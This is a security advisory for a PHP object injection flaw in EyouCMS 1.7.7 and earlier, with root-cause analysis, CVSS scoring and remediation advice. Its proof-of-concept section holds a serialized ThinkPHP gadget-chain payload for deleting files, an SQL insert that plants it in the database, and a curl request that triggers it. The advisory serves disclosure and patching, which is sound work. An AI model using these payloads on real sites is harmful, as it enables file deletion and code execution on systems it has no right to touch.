Logo EyouCMS 1.7.7 Deserialization Vulnerability

EyouCMS 1.7.7 Deserialization Vulnerability

PHP Object Injection Vulnerability in EyouCMS ≤ 1.7.7#

Title: Second-Order PHP Object Injection in EyouCMS ≤ 1.7.7 via arcpagelist#

BUG_Author: pemic

Affected Version: EyouCMS ≤ 1.7.7

Vendor: EyouCMS Official Website

Software: EyouCMS

Vulnerability Files:

  • application/api/controller/Ajax.php (Line 483)

  • core/library/think/template/taglib/eyou/TagArclist.php (Line 747)

Description:#

1. Vulnerability Overview#

EyouCMS version 1.7.7 and earlier contains a PHP Object Injection vulnerability. The application uses native PHP unserialize() function to deserialize data from the ey_arcmulti database table without proper validation. Combined with ThinkPHP 5.0.24's known gadget chains, this can lead to Remote Code Execution (RCE) or arbitrary file deletion.

2. Vulnerability Type#

Second-Order Deserialization: The malicious serialized payload is first stored in the database, then later retrieved and deserialized when a user accesses a specific page.

3. Root Cause Analysis#

Deserialization Point (application/api/controller/Ajax.php):

// Line 483
$attarray = unserialize(stripslashes($arcmultiRow['attstr']));

The unserialize() function is called on data from ey_arcmulti.attstr without using allowed_classes restriction or the application's safe_unserialize() function.

Data Storage Point (core/library/think/template/taglib/eyou/TagArclist.php):

// Line 747
$attstr = addslashes(serialize($tag));
// Line 758
'attstr' => $attstr,

4. ThinkPHP Version#

// core/base.php:12
define('THINK_VERSION', '5.0.24');

ThinkPHP 5.0.24 has known deserialization gadget chains that can achieve:

  • Remote Code Execution (RCE)

  • Arbitrary File Deletion

  • Arbitrary File Write

Attack Flow:#

Step 1: Attacker gains ability to write to ey_arcmulti.attstr
      (via SQL injection, database access, or admin template editing)
                          ↓
Step 2: Insert malicious serialized ThinkPHP gadget chain
                          ↓
Step 3: Victim visits page using arcpagelist functionality
                          ↓
Step 4: Ajax.php:483 calls unserialize() on malicious data
                          ↓
Step 5: ThinkPHP gadget chain executes → RCE/File Deletion

Proof of Concept:#

Prerequisites:#

  • Database access OR SQL injection vulnerability OR Admin access to modify templates

  • Target page using {eyou:arclist} tag with pagination

Step 1: Prepare Malicious Payload#

ThinkPHP 5.0.24 RCE Gadget Chain (example for file deletion):

<?php
namespace think\process\pipes;

class Windows
{
   private $files = [];
   
   public function __construct()
  {
       $this->files = ['/var/www/html/target_file.php'];
  }
}

$payload = new Windows();
echo serialize($payload);
// Output: O:27:"think\process\pipes\Windows":1:{s:34:"think\process\pipes\Windowsfiles";a:1:{i:0;s:28:"/var/www/html/target_file.php";}}

Step 2: Insert Payload into Database#

-- Method 1: Direct database access
INSERT INTO ey_arcmulti (tagid, tagname, attstr, pagesize, querysql, add_time, update_time)
VALUES (
   'malicious_tag_id_md5',
   'arclist',
   'O:27:"think\\process\\pipes\\Windows":1:{s:34:"think\\process\\pipes\\Windowsfiles";a:1:{i:0;s:28:"/var/www/html/target_file.php";}}',
   10,
   'SELECT * FROM ey_archives LIMIT 10',
  UNIX_TIMESTAMP(),
  UNIX_TIMESTAMP()
);

-- Method 2: If SQL injection exists, use it to insert/update

Step 3: Trigger Deserialization#

Send AJAX request to trigger the vulnerability:

curl -X POST "http://target/index.php?m=api&c=Ajax&a=arcpagelist" \
 -H "X-Requested-With: XMLHttpRequest" \
 -d "tagid=malicious_tag&tagidmd5=malicious_tag_id_md5&page=2&pagesize=10"

Step 4: Verify Exploitation#

If successful, the target file specified in the gadget chain will be deleted.

Vulnerable Code Snippet:#

File: application/api/controller/Ajax.php (Lines 451-493)#

public function arcpagelist()
{
   if (!IS_AJAX) {
       abort(404);
  }

   $pnum = input('page/d', 0);
   $pagesize = input('pagesize/d', 0);
   $tagid = input('tagid/s', '');
   $tagidmd5 = input('tagidmd5/s', '');
   
   // ... validation ...

   $arcmulti_db = Db::name('arcmulti');
   $arcmultiRow = $arcmulti_db->where(['tagid' => $tagidmd5])->find();
   
   if (!empty($arcmultiRow) && !empty($arcmultiRow['querysql'])) {
       // VULNERABLE: Native unserialize without class restriction
       $attarray = unserialize(stripslashes($arcmultiRow['attstr']));
       
       // ... continues processing ...
  }
}

Available Gadget Chains:#

ClassMagic MethodEffect
think\process\pipes\Windows__destruct()Arbitrary File Deletion
think\model\Pivot__destruct()SQL Injection / RCE
think\Process__destruct()Process Control
think\Db\Connection__destruct()Database Manipulation

Exploitation Conditions:#

ConditionRequiredDescription
Database Write AccessYesTo insert malicious serialized data
Valid tagid/tagidmd5YesTo trigger the vulnerable code path
AJAX RequestYesEndpoint requires IS_AJAX check

Ways to Achieve Database Write:#

  1. SQL Injection: If another SQL injection vulnerability exists

  2. Admin Access: Modify template files containing {eyou:arclist} tags

  3. Database Compromise: Direct database access through other means

Impact:#

Impact TypeSeverityDescription
Remote Code ExecutionCriticalExecute arbitrary PHP code
Arbitrary File DeletionHighDelete critical system files
Data ManipulationHighModify database contents

CVSS v3.1 Score: 8.1 (High) - Assuming database write access is obtained

  • Attack Vector: Network

  • Attack Complexity: High (requires chaining with another vulnerability)

  • Privileges Required: None/Low

  • User Interaction: None

  • Scope: Unchanged

  • Confidentiality Impact: High

  • Integrity Impact: High

  • Availability Impact: High

Remediation:#

1. Use safe_unserialize() Function#

The application already has a safe_unserialize() function in application/function.php:

// Replace this:
$attarray = unserialize(stripslashes($arcmultiRow['attstr']));

// With this:
$attarray = safe_unserialize(stripslashes($arcmultiRow['attstr']));

2. Use allowed_classes Parameter (PHP 7.0+)#

$attarray = unserialize(
   stripslashes($arcmultiRow['attstr']),
  ['allowed_classes' => false]
);

3. Use JSON Instead of Serialize#

// Storage:
$attstr = json_encode($tag);

// Retrieval:
$attarray = json_decode($arcmultiRow['attstr'], true);

Related Vulnerabilities:#

  • The same file also executes raw SQL from database: Db::query($querysql) (Line 493)

  • This creates a Second-Order SQL Injection if ey_arcmulti.querysql is compromised

Timeline:#

DateEvent
2025-12-18Vulnerability Discovered
2025-12-18Report Created

## References:

Last updated on

On This Page